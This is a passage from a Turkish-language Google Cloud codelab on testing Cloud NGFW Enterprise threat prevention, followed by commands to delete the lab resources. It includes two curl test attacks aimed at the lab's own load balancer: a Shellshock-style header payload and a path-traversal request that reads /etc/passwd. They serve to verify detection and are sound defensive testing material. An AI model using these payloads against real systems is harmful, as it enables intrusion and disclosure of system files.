gcloud compute network-firewall-policies rules create 10000 \ --description "inspect all egress internet traffic from clients" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
İstemci sanal makinesine geri dönün ve yüksek önem düzeyine sahip saldırıları harici sunucu IP'sine yeniden gönderin:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
Beklenen çıkış:
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received
Günlükleri doğrulamak için Cloud Console'daki Tehditler sekmesine geçin (Birkaç kez yenilemeniz gerekebilir). Saldırıların tanımlanıp günlüğe tekrar kaydedilmiş olması gerekirdi, ancak ilk olarak bir çıkış kuralı tetiklendiği için artık kaynak IP dahilidir:
SSH oturumunu kapatın ve temizleme adımları için bir sonraki bölüme geçin.
8. Temizleme adımları
Cloud NGFW Enterprise Bileşenlerinde Temizleme
Mevcut Cloud NGFW Enterprise ilişkilendirmelerini listeleyin:
gcloud network-security firewall-endpoint-associations list
Cloud NGFW Enterprise ilişkilendirmesini silin:
gcloud network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list
Mevcut Cloud NGFW Enterprise uç noktalarını listeleyin:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Cloud NGFW Enterprise uç noktasını silin. Bu işlem yaklaşık 20 dakika sürebilir:
gcloud -q network-security firewall-endpoints delete \ $org_prefix-$zone --zone=$zone --organization $org_id
Aşağıdaki komutu çalıştırarak Cloud NGFW Enterprise'ın silindiğini onaylayın:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Güvenlik Profili Grubu ve Tehdit Önleme Profili'ni silin:
gcloud -q network-security security-profile-groups delete \ $org_prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $org_prefix-sp-threat \ --organization $org_id \ --location=global
Temel Kurulum Temizleme
Temel kaynakları silmeyi tercih ederseniz bir sonraki adıma geçin.
Gerekirse ortam değişkenlerini tanımlayın. Cloud Shell'den Ağ Yük Dengeleyici bileşenlerini silin:
gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region gcloud -q compute backend-services delete $prefix-nlb-bes --region $region gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone
Örnekleri kaldırın:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
İsteğe bağlı olarak, tagAdmin ve tagUsers rolleri değiştirildiyse aşağıdaki adımları uygulayın:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
Etiket anahtarı ve değerlerini kaldırın:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
Cloud Firewall Ağ Politikası'nı ve ilişkilendirmesini silin:
gcloud -q compute network-firewall-policies associations delete \ --firewall-policy $prefix-fwpolicy \ --name $prefix-fwpolicy-association \ --global-firewall-policy gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Cloud Router ve Cloud NAT'yi silin:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
Ayrılmış IP adreslerini silin:
gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
Son olarak, alt ağı ve VPC ağını silin:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
9. Tebrikler!
Tebrikler, Doğu-Batı ve Kuzey-Güney Denetim için Cloud NGFW Enterprise codelab'ini başarıyla tamamladınız.